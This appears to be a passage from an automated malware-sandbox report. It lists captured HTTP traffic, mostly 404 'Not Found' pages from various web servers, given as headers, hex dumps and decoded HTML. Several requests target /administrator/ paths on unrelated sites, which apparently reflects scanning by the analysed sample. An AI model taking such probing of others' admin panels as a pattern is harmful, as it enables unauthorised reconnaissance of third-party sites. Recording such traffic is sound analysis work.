Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheLast-Modified: Thu, 24 Oct 2019 19:33:13 GMTETag: "1e8-595ad1aad5040"Accept-Ranges: bytesContent-Length: 488Content-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-127.ec2.internalX-Request-Id: 515e9e4a-fd29-4be9-b345-83d3b1b5d0c0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:30 GMTserver: LiteSpeedData Raw: 32 66 39 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 Data Ascii: 2f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:30 GMTServer: ApacheAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 33 32
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 32 33 0d 0a 0a 0a 20 20 20 20 54 68 65 20 6c 69 6e 6b 20 6f 6e 20 74 68 65 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 38 64 0d 0a 68 74 74 70 3a 2f 2f 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 72 65 66 65 72 72 69 6e 67 0a 20 20 20 20 70 61 67 65 3c 2f 61 3e 20 73 65 65 6d 73 20 74 6f 20 62 65 20 77 72 6f 6e 67 20 6f 72 20 6f 75 74 64 61 74 65 64 2e 20 50 6c 65 61 73 65 20 69 6e 66 6f 72 6d 20 74 68 65 20 61 75 74 68 6f 72 20 6f 66 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 0d 0a 35 34 0d 0a 68 74 74 70 3a 2f 2f 63 6f 72 61 6c 70 61 72 6b 63 68 72 69 73 74 69 61 6e 2e 6f 72 67 2f 61 64 6d 69 6e 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Sun, 26 Nov 2023 05:59:31 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:03 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 212Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: 